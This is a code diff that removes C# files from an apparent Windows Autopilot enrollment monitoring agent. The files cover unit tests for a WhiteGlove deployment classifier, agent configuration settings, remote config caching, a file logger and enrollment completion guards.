IsDeviceOnlyDeployment = true, // +15
AgentRestartedAfterEspExit = true, // +10
});
Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence);
Assert.Equal(70, result.Score);
Assert.True(result.ShouldRouteToWhiteGlovePart1);
}
// =====================================================================
// Hard excluders
// =====================================================================
[Fact]
public void Classify_AadJoinedWithUser_OverridesStrongPositive()
{
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true,
AadJoinedWithUser = true, // real user — definitively not WG Part 1
});
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
Assert.Equal(0, result.Score);
Assert.False(result.ShouldRouteToWhiteGlovePart1);
}
[Fact]
public void Classify_DesktopArrived_OverridesStrongPositive()
{
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true,
DesktopArrived = true,
});
Assert.Equal(WhiteGloveConfidence.None, result.Confidence);
Assert.Equal(0, result.Score);
Assert.False(result.ShouldRouteToWhiteGlovePart1);
}
[Fact]
public void Classify_AccountSetupActivity_DampensButDoesNotHardExclude()
{
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true, // +80
HasAccountSetupActivity = true, // -40
});
// 80 - 40 = 40 → Weak (NOT routed to WG)
Assert.Equal(WhiteGloveConfidence.Weak, result.Confidence);
Assert.Equal(40, result.Score);
Assert.False(result.ShouldRouteToWhiteGlovePart1);
}
// =====================================================================
// Placeholder user (foouser@ / autopilot@) — NOT aadJoinedWithUser
// =====================================================================
[Fact]
public void Classify_FooUserWithoutRealAadJoin_StaysStrong()
{
// Placeholder-User ist KEIN realer AAD-Join; Hard-Excluder greift nicht.
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true, // +80
IsFooUserDetected = true, // +20
AadJoinedWithUser = false, // Placeholder zählt NICHT als real
});
Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence);
Assert.Equal(100, result.Score); // capped
Assert.True(result.ShouldRouteToWhiteGlovePart1);
}
// =====================================================================
// Hybrid join is NOT a dampener (removed per plan review)
// =====================================================================
[Fact]
public void Classify_HybridWithStrongSignal_StaysStrong()
{
// Hybrid-Join darf die WG-Klassifikation nicht dämpfen (WG funktioniert auch hybrid).
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true,
IsDeviceOnlyDeployment = true,
});
Assert.Equal(WhiteGloveConfidence.Strong, result.Confidence);
Assert.Equal(95, result.Score);
Assert.True(result.ShouldRouteToWhiteGlovePart1);
}
// =====================================================================
// Late AAD-Join Transition
// =====================================================================
[Fact]
public void Classify_LateAadJoinFlipsStrongToNone()
{
// Vor dem Late-Update: Strong.
var before = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true,
AadJoinedWithUser = false,
});
Assert.Equal(WhiteGloveConfidence.Strong, before.Confidence);
Assert.True(before.ShouldRouteToWhiteGlovePart1);
// Nach dem Late-AAD-Update: None (harter Ausschluss).
var after = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true,
AadJoinedWithUser = true,
});
Assert.Equal(WhiteGloveConfidence.None, after.Confidence);
Assert.False(after.ShouldRouteToWhiteGlovePart1);
}
// =====================================================================
// Session 304620a8 regression — WhiteGlove Part 2 re-entry after resume
// =====================================================================
[Fact]
public void Classify_Part2ResumeWithAllPositivesAndAadJoin_IsWeakNotStrong()
{
// Reproduziert den Signalstand beim 2. ESP-Exit in Session 304620a8-...:
// Part 1 ist sauber durchgelaufen (Shell-Core + SaveWg + Event509 + FooUser),
// Agent hat nach Part 1 rebootet, in Part 2 hat der reale User sich
// eingeloggt (AadJoinedWithUser=true). Der 2. ESP-Exit darf nicht erneut
// zu whiteglove_complete routen — Hard-Excluder muss das Routing kippen.
var result = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true, // +80
HasSaveWhiteGloveSuccessResult = true, // +10
IsWhiteGloveStartDetected = true, // +15
IsFooUserDetected = true, // +20
AgentRestartedAfterEspExit = true, // +10
AadJoinedWithUser = true, // -100 hard excluder
});
Assert.False(result.ShouldRouteToWhiteGlovePart1);
Assert.NotEqual(WhiteGloveConfidence.Strong, result.Confidence);
}
// =====================================================================
// ShouldRouteToWhiteGlovePart1 only fires on Strong
// =====================================================================
[Fact]
public void Classify_ShouldRoute_OnlyOnStrong()
{
var none = WhiteGloveClassifier.Classify(new WhiteGloveSignals());
var weak = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
IsFooUserDetected = true,
IsDeviceOnlyDeployment = true,
});
var strong = WhiteGloveClassifier.Classify(new WhiteGloveSignals
{
ShellCoreWhiteGloveSuccess = true,
});
Assert.Equal(WhiteGloveConfidence.None, none.Confidence);
Assert.False(none.ShouldRouteToWhiteGlovePart1);
Assert.Equal(WhiteGloveConfidence.Weak, weak.Confidence);
Assert.False(weak.ShouldRouteToWhiteGlovePart1);
Assert.Equal(WhiteGloveConfidence.Strong, strong.Confidence);
Assert.True(strong.ShouldRouteToWhiteGlovePart1);
}
}
}
@@ -1,41 +0,0 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net48</TargetFramework>
<LangVersion>latest</LangVersion>
</PropertyGroup>
<ItemGroup>
<AssemblyAttribute Include="System.Runtime.CompilerServices.InternalsVisibleTo">
<_Parameter1>AutopilotMonitor.Agent.Core.Tests</_Parameter1>
</AssemblyAttribute>
<AssemblyAttribute Include="System.Runtime.CompilerServices.InternalsVisibleTo">
<_Parameter1>DynamicProxyGenAssembly2</_Parameter1>
</AssemblyAttribute>
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\..\Shared\AutopilotMonitor.Shared\AutopilotMonitor.Shared.csproj" />
<ProjectReference Include="..\..\Shared\AutopilotMonitor.DecisionCore\AutopilotMonitor.DecisionCore.csproj" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="Newtonsoft.Json" Version="13.0.3" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="..\..\..\rules\guardrails.json" LogicalName="AutopilotMonitor.Agent.Core.Resources.guardrails.json" />
</ItemGroup>
<ItemGroup>
<Reference Include="System.Net.Http" />
<Reference Include="System.Management" />
<Reference Include="System.Management.Automation">
<HintPath>$(windir)\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll</HintPath>
</Reference>
<Reference Include="System.ServiceProcess" />
<Reference Include="System.IO.Compression" />
<Reference Include="System.IO.Compression.FileSystem" />
</ItemGroup>
</Project>
@@ -1,271 +0,0 @@
using System;
using System.Collections.Generic;
using AutopilotMonitor.Agent.Core.Logging;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.Models;
namespace AutopilotMonitor.Agent.Core.Configuration
{
/// <summary>
/// Agent configuration settings
/// </summary>
public class AgentConfiguration
{
/// <summary>
/// Backend API base URL
/// </summary>
public string ApiBaseUrl { get; set; }
/// <summary>
/// Session identifier for this enrollment
/// </summary>
public string SessionId { get; set; }
/// <summary>
/// Tenant identifier
/// </summary>
public string TenantId { get; set; }
/// <summary>
/// Local spool directory path
/// </summary>
public string SpoolDirectory { get; set; }
/// <summary>
/// Agent log directory path
/// </summary>
public string LogDirectory { get; set; }
/// <summary>
/// Upload interval in seconds
/// </summary>
public int UploadIntervalSeconds { get; set; } = 30;
/// <summary>
/// Maximum batch size for events
/// </summary>
public int MaxBatchSize { get; set; } = 100;
/// <summary>
/// Whether to use client certificate authentication
/// </summary>
public bool UseClientCertAuth { get; set; } = true;
/// <summary>
/// Log verbosity level: Info (default), Debug, Verbose.
/// Overridable via remote config.
/// </summary>
public AgentLogLevel LogLevel { get; set; } = AgentLogLevel.Info;
/// <summary>
/// Maximum retry attempts for failed uploads
/// </summary>
public int MaxRetryAttempts { get; set; } = 5;
/// <summary>
/// Whether to self-destruct when enrollment completes (remove Scheduled Task and all files).
/// This is the only cleanup mode — SelfDestruct always removes task + files.
/// </summary>
public bool SelfDestructOnComplete { get; set; } = true;
/// <summary>
/// Name of the Scheduled Task to remove during self-destruct
/// </summary>
public string ScheduledTaskName { get; set; } = Constants.ScheduledTaskName;
/// <summary>
/// Whether to reboot the device after enrollment completes
/// </summary>
public bool RebootOnComplete { get; set; } = false;
/// <summary>
/// Delay in seconds before the reboot is initiated (shutdown.exe /r /t X).
/// Default: 10 seconds
/// </summary>
public int RebootDelaySeconds { get; set; } = 10;
/// <summary>
/// When true, the log directory is preserved after self-destruct/cleanup.
/// All other files (binaries, config, spool, scheduled task) are still removed.
/// </summary>
public bool KeepLogFile { get; set; } = false;
/// <summary>
/// Whether to enable geo-location detection (queries external IP services)
/// </summary>
public bool EnableGeoLocation { get; set; } = true;
/// <summary>
/// NTP server address for time check during enrollment.
/// Default: "time.windows.com"
/// </summary>
public string NtpServer { get; set; } = "time.windows.com";
/// <summary>
/// Whether to automatically set the device timezone based on IP geolocation.
/// Requires EnableGeoLocation to be true. Uses tzutil /s to apply.
/// Default: false
/// </summary>
public bool EnableTimezoneAutoSet { get; set; } = false;
/// <summary>
/// Optional custom path to IME logs directory for testing.
/// If set, overrides the default %ProgramData%\Microsoft\IntuneManagementExtension\Logs path.
/// </summary>
public string ImeLogPathOverride { get; set; }
/// <summary>
/// Optional path to write every IME log line that matched a pattern (for debugging).
/// If empty, no match log is written. Example: %ProgramData%\AutopilotMonitor\Logs\ime-matches.log
/// </summary>
public string ImeMatchLogPath { get; set; }
/// <summary>
/// Path to directory with real IME log files for log replay.
/// When set, the agent replays these logs with time compression instead of reading live logs.
/// </summary>
public string ReplayLogDir { get; set; }
/// <summary>
/// Time compression factor for log replay.
/// Higher values = faster replay. Default: 50 (e.g., 50 minutes of real logs = 1 minute of replay).
/// </summary>
public double ReplaySpeedFactor { get; set; } = 50;
/// <summary>
/// Wait time in seconds after ESP exit before marking Hello as skipped.
/// When ESP exits, we wait this duration for Hello wizard to start (event 62404).
/// Default: 30 seconds (reasonable for systems under load).
/// If Hello wizard starts within this window, we continue waiting for Hello completion (300/301).
/// </summary>
public int HelloWaitTimeoutSeconds { get; set; } = 30;
/// <summary>
/// Maximum consecutive authentication failures (401/403) before the agent shuts down.
/// Prevents endless retry traffic when the device is not authorized.
/// 0 = disabled (retry forever). Default: 5.
/// </summary>
public int MaxAuthFailures { get; set; } = 5;
/// <summary>
/// Maximum time in minutes the agent keeps retrying after the first auth failure.
/// 0 = disabled (no time limit, only MaxAuthFailures applies). Default: 0.
/// </summary>
public int AuthFailureTimeoutMinutes { get; set; } = 0;
/// <summary>
/// Maximum agent lifetime in minutes. Safety net to prevent zombie agents.
/// The agent emits enrollment_failed with failureType "agent_timeout" when this expires.
/// 0 = disabled (no lifetime limit). Default: 360 (6 hours).
/// </summary>
public int AgentMaxLifetimeMinutes { get; set; } = 360;
/// <summary>
/// Absolute maximum session age in hours across all agent restarts.
/// Emergency break: if the session has been alive longer than this, the agent
/// forces cleanup and self-destructs regardless of enrollment state.
/// Prevents zombie agents caused by unrecoverable logic errors.
/// Respects WhiteGlove scenarios (timer resets on Part 2 resume).
/// Default: 48 hours.
/// </summary>
public int AbsoluteMaxSessionHours { get; set; } = 48;
/// <summary>
/// Bootstrap token for pre-MDM auth during OOBE.
/// Embedded by the OOBE bootstrapper script via --bootstrap-token CLI arg.
/// When set, sent as X-Bootstrap-Token header instead of cert auth.
/// </summary>
public string BootstrapToken { get; set; }
/// <summary>
/// Whether to use bootstrap token auth (true until MDM cert becomes available).
/// </summary>
public bool UseBootstrapTokenAuth { get; set; }
/// <summary>
/// Whether to show a visual enrollment summary dialog to the end user.
/// </summary>
public bool ShowEnrollmentSummary { get; set; } = false;
/// <summary>
/// Auto-close timeout in seconds for the enrollment summary dialog.
/// 0 = no auto-close. Default: 60
/// </summary>
public int EnrollmentSummaryTimeoutSeconds { get; set; } = 60;
/// <summary>
/// Optional URL to a branding image for the enrollment summary dialog banner.
/// </summary>
public string EnrollmentSummaryBrandingImageUrl { get; set; }
/// <summary>
/// Maximum time in seconds the agent retries launching the enrollment summary dialog
/// when the user's desktop is locked by a credential UI (e.g. Windows Hello).
/// 0 = no retry (single attempt). Default: 120.
/// </summary>
public int EnrollmentSummaryLaunchRetrySeconds { get; set; } = 120;
/// <summary>
/// Whether diagnostics upload is configured for this tenant.
/// When true, the agent requests a short-lived upload URL from the backend just before uploading.
/// The SAS URL itself is never stored in config — it is fetched on-demand and used in memory only.
/// </summary>
public bool DiagnosticsUploadEnabled { get; set; } = false;
/// <summary>
/// When to upload diagnostics packages: "Off", "Always", "OnFailure".
/// Default: "Off"
/// </summary>
public string DiagnosticsUploadMode { get; set; } = "Off";
/// <summary>
/// Merged list of log paths/wildcards to include in the diagnostics ZIP package.
/// Received from the backend config (global + tenant-specific).
/// Each entry is validated against DiagnosticsPathGuards before use.
/// </summary>
public List<DiagnosticsLogPath> DiagnosticsLogPaths { get; set; } = new List<DiagnosticsLogPath>();
/// <summary>
/// Whether the agent should send Trace-severity events to the backend.
/// Controlled per tenant via remote config. Default: true (on in preview).
/// </summary>
public bool SendTraceEvents { get; set; } = true;
/// <summary>
/// When true, agent guardrails are relaxed: all registry, WMI, and command targets are allowed.
/// File/diagnostics paths allow everything except C:\Users.
/// Default: false.
/// </summary>
public bool UnrestrictedMode { get; set; } = false;
/// <summary>
/// Sanitized command-line arguments for the agent_started event.
/// Secrets (e.g. bootstrap token) are redacted before assignment.
/// </summary>
public string CommandLineArgs { get; set; }
/// <summary>
/// When true, the agent waits for an MDM certificate to appear before starting.
/// Used when deploying the agent before Intune enrollment completes.
/// The agent polls the certificate store every 5 seconds until a valid cert is found.
/// </summary>
public bool AwaitEnrollment { get; set; } = false;
/// <summary>
/// Maximum time in minutes to wait for the MDM certificate in await-enrollment mode.
/// 0 = wait indefinitely. Default: 480 (8 hours).
/// </summary>
public int AwaitEnrollmentTimeoutMinutes { get; set; } = 480;
/// <summary>
/// Validates the configuration
/// </summary>
public bool IsValid()
{
return !string.IsNullOrEmpty(ApiBaseUrl) &&
!string.IsNullOrEmpty(SessionId) &&
!string.IsNullOrEmpty(TenantId);
}
}
}
@@ -1,203 +0,0 @@
using System;
using System.IO;
using System.Threading;
using System.Threading.Tasks;
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
using AutopilotMonitor.Agent.Core.Logging;
using AutopilotMonitor.Shared.Models;
using Newtonsoft.Json;
namespace AutopilotMonitor.Agent.Core.Configuration
{
/// <summary>
/// Fetches and caches remote configuration from the backend API
/// Provides collector toggles and gather rules to the agent
/// </summary>
public class RemoteConfigService : IDisposable
{
private readonly BackendApiClient _apiClient;
private readonly string _tenantId;
private readonly AgentLogger _logger;
private readonly string _cacheFilePath;
private readonly EmergencyReporter _emergencyReporter;
private readonly DistressReporter _distressReporter;
private AgentConfigResponse _currentConfig;
private readonly object _configLock = new object();
/// <summary>
/// Gets the current configuration (thread-safe)
/// </summary>
public AgentConfigResponse CurrentConfig
{
get
{
lock (_configLock)
{
return _currentConfig;
}
}
}
public RemoteConfigService(BackendApiClient apiClient, string tenantId, AgentLogger logger, EmergencyReporter emergencyReporter = null, DistressReporter distressReporter = null)
{
_apiClient = apiClient ?? throw new ArgumentNullException(nameof(apiClient));
_tenantId = tenantId ?? throw new ArgumentNullException(nameof(tenantId));
_logger = logger ?? throw new ArgumentNullException(nameof(logger));
_emergencyReporter = emergencyReporter;
_distressReporter = distressReporter;
var cacheDir = Environment.ExpandEnvironmentVariables(@"%ProgramData%\AutopilotMonitor\Config");
_cacheFilePath = Path.Combine(cacheDir, "remote-config.json");
}
/// <summary>
/// Fetches the initial configuration from the backend
/// Falls back to cached config if the API is unreachable
/// </summary>
public async Task<AgentConfigResponse> FetchConfigAsync()
{
try
{
_logger.Info("Fetching remote configuration from backend...");
var config = await _apiClient.GetAgentConfigAsync(_tenantId);
if (config != null)
{
_logger.Info($"Remote config fetched: ConfigVersion={config.ConfigVersion}, " +
$"GatherRules={config.GatherRules?.Count ?? 0}");
LogCollectorSettings(config.Collectors);
SetConfig(config);
CacheConfig(config);
return config;
}
_logger.Warning("Remote config fetch returned empty response");
}
catch (BackendAuthException ex)
{
_logger.Warning($"Config fetch authentication failed: {ex.Message}");
// Auth failure → use distress channel (pre-auth, works without cert)
if (_distressReporter != null)
{
_ = _distressReporter.TrySendAsync(
DistressErrorType.ConfigFetchDenied,
ex.Message,
httpStatusCode: ex.StatusCode);
}
}
catch (Exception ex)
{
_logger.Warning($"Failed to fetch remote config: {ex.Message}");
// Non-auth failure → use authenticated emergency channel
if (_emergencyReporter != null)
{
_ = _emergencyReporter.TrySendAsync(
AgentErrorType.ConfigFetchFailed,
ex.Message);
}
}
// Fall back to cached config
var cached = LoadCachedConfig();
if (cached != null)
{
_logger.Info("Using cached remote configuration");
SetConfig(cached);
return cached;
}
// Fall back to defaults
_logger.Info("No cached config available, using defaults (all optional collectors disabled)");
var defaults = CreateDefaultConfig();
SetConfig(defaults);
return defaults;
}
private void SetConfig(AgentConfigResponse config)
{
lock (_configLock)
{
_currentConfig = config;
}
}
private void LogCollectorSettings(CollectorConfiguration collectors)
{
if (collectors == null) return;
_logger.Info(" Collector settings:");
_logger.Info($" Performance: {(collectors.EnablePerformanceCollector ? "ON" : "OFF")} (interval: {collectors.PerformanceIntervalSeconds}s)");
}
private void CacheConfig(AgentConfigResponse config)
{
try
{
var dir = Path.GetDirectoryName(_cacheFilePath);
if (!Directory.Exists(dir))
Directory.CreateDirectory(dir);
// SECURITY: Never persist UnrestrictedMode to disk — require live backend auth
var liveValue = config.UnrestrictedMode;
config.UnrestrictedMode = false;
var json = JsonConvert.SerializeObject(config, Formatting.Indented);
config.UnrestrictedMode = liveValue;
File.WriteAllText(_cacheFilePath, json);
_logger.Debug("Remote config cached to disk");
}
catch (Exception ex)
{
_logger.Debug($"Failed to cache remote config: {ex.Message}");
}
}
private AgentConfigResponse LoadCachedConfig()
{
try
{
if (File.Exists(_cacheFilePath))
{
var json = File.ReadAllText(_cacheFilePath);
var config = JsonConvert.DeserializeObject<AgentConfigResponse>(json);
if (config != null)
{
// SECURITY: Never trust cached UnrestrictedMode — always require live backend auth
config.UnrestrictedMode = false;
}
return config;
}
}
catch (Exception ex)
{
_logger.Debug($"Failed to load cached config: {ex.Message}");
}
return null;
}
private AgentConfigResponse CreateDefaultConfig()
{
return new AgentConfigResponse
{
ConfigVersion = 0,
UploadIntervalSeconds = 30,
SelfDestructOnComplete = true,
KeepLogFile = false,
EnableGeoLocation = true,
EnableImeMatchLog = false,
Collectors = CollectorConfiguration.CreateDefault(),
GatherRules = new System.Collections.Generic.List<GatherRule>(),
ImeLogPatterns = new System.Collections.Generic.List<ImeLogPattern>()
};
}
public void Dispose()
{
// Nothing to dispose
}
}
}
@@ -1,131 +0,0 @@
using System;
using System.IO;
namespace AutopilotMonitor.Agent.Core.Logging
{
/// <summary>
/// Log verbosity levels for the agent.
/// Info = normal operational messages (default)
/// Debug = includes DEBUG-tagged lines (component state, config, decisions)
/// Verbose = includes VERBOSE-tagged lines (per-event details, hot-path tracing)
/// </summary>
public enum AgentLogLevel
{
Info = 0,
Debug = 1,
Verbose = 2,
Trace = 3
}
/// <summary>
/// Simple file-based logger for the agent.
/// Optionally mirrors output to the console when EnableConsoleOutput is set.
/// </summary>
public class AgentLogger
{
private readonly string _logFilePath;
private AgentLogLevel _logLevel;
private readonly object _lockObject = new object();
/// <summary>
/// When true, log entries are also written to Console.Out (same format as the log file).
/// Set via --console flag or programmatically.
/// </summary>
public bool EnableConsoleOutput { get; set; }
public AgentLogger(string logDirectory, AgentLogLevel logLevel = AgentLogLevel.Info)
{
_logLevel = logLevel;
if (!Directory.Exists(logDirectory))
{
Directory.CreateDirectory(logDirectory);
}
var logFileName = $"agent_{DateTime.Now:yyyyMMdd}.log";
_logFilePath = Path.Combine(logDirectory, logFileName);
}
/// <summary>
/// Updates the active log level at runtime (e.g. after remote config is applied).
/// </summary>
public void SetLogLevel(AgentLogLevel level)
{
_logLevel = level;
}
public AgentLogLevel LogLevel => _logLevel;
public void Trace(string message)
{
if (_logLevel >= AgentLogLevel.Trace)
Log("TRACE", message);
}
public void Verbose(string message)
{
if (_logLevel >= AgentLogLevel.Verbose)
Log("VERBOSE", message);
}
public void Debug(string message)
{
if (_logLevel >= AgentLogLevel.Debug)
Log("DEBUG", message);
}
public void Info(string message)
{
Log("INFO", message);
}
public void Warning(string message)
{
Log("WARN", message);
}
public void Error(string message, Exception ex = null)
{
var fullMessage = ex != null ? $"{message} - {ex}" : message;
Log("ERROR", fullMessage);
}
private void Log(string level, string message)
{
try
{
lock (_lockObject)
{
var timestamp = DateTime.UtcNow.ToString("yyyy-MM-dd HH:mm:ss.fff");
var logEntry = $"[{timestamp}] [{level}] {SanitizeLogMessage(message)}";
File.AppendAllText(_logFilePath, logEntry + Environment.NewLine);
if (EnableConsoleOutput)
{
try { Console.WriteLine(logEntry); } catch { }
}
}
}
catch
{
// Swallow logging errors to prevent crashes
}
}
/// <summary>
/// Sanitizes log messages to prevent log injection attacks.
/// Escapes control characters that could forge log entries.
/// Redaction patterns can be added here later as needed.
/// </summary>
private static string SanitizeLogMessage(string message)
{
if (string.IsNullOrEmpty(message)) return message;
// Escape newlines and carriage returns to prevent log injection
message = message.Replace("\r", "\\r").Replace("\n", "\\n");
return message;
}
}
}
@@ -1,96 +0,0 @@
using System;
namespace AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion
{
/// <summary>
/// Pure-function guards for enrollment completion decisions.
/// Extracted 1:1 from the lock block in TryEmitEnrollmentComplete() for testability.
/// Each method mirrors the exact condition evaluated in CompletionLogic.cs.
/// </summary>
internal static class CompletionGuards
{
/// <summary>
/// Guard 1: Hello resolution check.
/// Hello is considered resolved when:
/// - No EspAndHelloTracker exists (no Hello tracking)
/// - Hello has already completed (success, skip, or timeout)
/// - Hello policy is not configured (Hello disabled)
/// - Deployment is device-only (no interactive user session)
/// </summary>
/// <remarks>
/// Source: EnrollmentTracker.CompletionLogic.cs, TryEmitEnrollmentComplete(),
/// line: helloResolved = _espAndHelloTracker == null || ...IsHelloCompleted || !...IsPolicyConfigured || isDeviceOnly
/// </remarks>
public static bool IsHelloResolved(bool hasTracker, bool isHelloCompleted,
bool isPolicyConfigured, bool isDeviceOnly)
{
return !hasTracker
|| isHelloCompleted
|| !isPolicyConfigured
|| isDeviceOnly;
}
/// <summary>
/// Guard 2: ESP gate for desktop-based completion sources.
/// Blocks completion when:
/// - Source is desktop_arrival or desktop_hello
/// - Enrollment type is v1 (not WDP)
/// - ESP has been seen but has NOT exited yet
/// Rationale: In v1 enrollments with active ESP, desktop presence alone is
/// NOT sufficient to complete (AccountSetup may still be running).
/// </summary>
/// <remarks>
/// Source: EnrollmentTracker.CompletionLogic.cs, TryEmitEnrollmentComplete(),
/// line: espGateBlocked = (source == "desktop_arrival" || source == "desktop_hello") &amp;&amp; enrollmentType != "v2" &amp;&amp; espEverSeen &amp;&amp; !espFinalExitSeen
/// </remarks>
public static bool IsEspGateBlocking(string source, string enrollmentType,
bool espEverSeen, bool espFinalExitSeen)
{
return (source == "desktop_arrival" || source == "desktop_hello")
&& enrollmentType != "v2"
&& espEverSeen
&& !espFinalExitSeen;
}
/// <summary>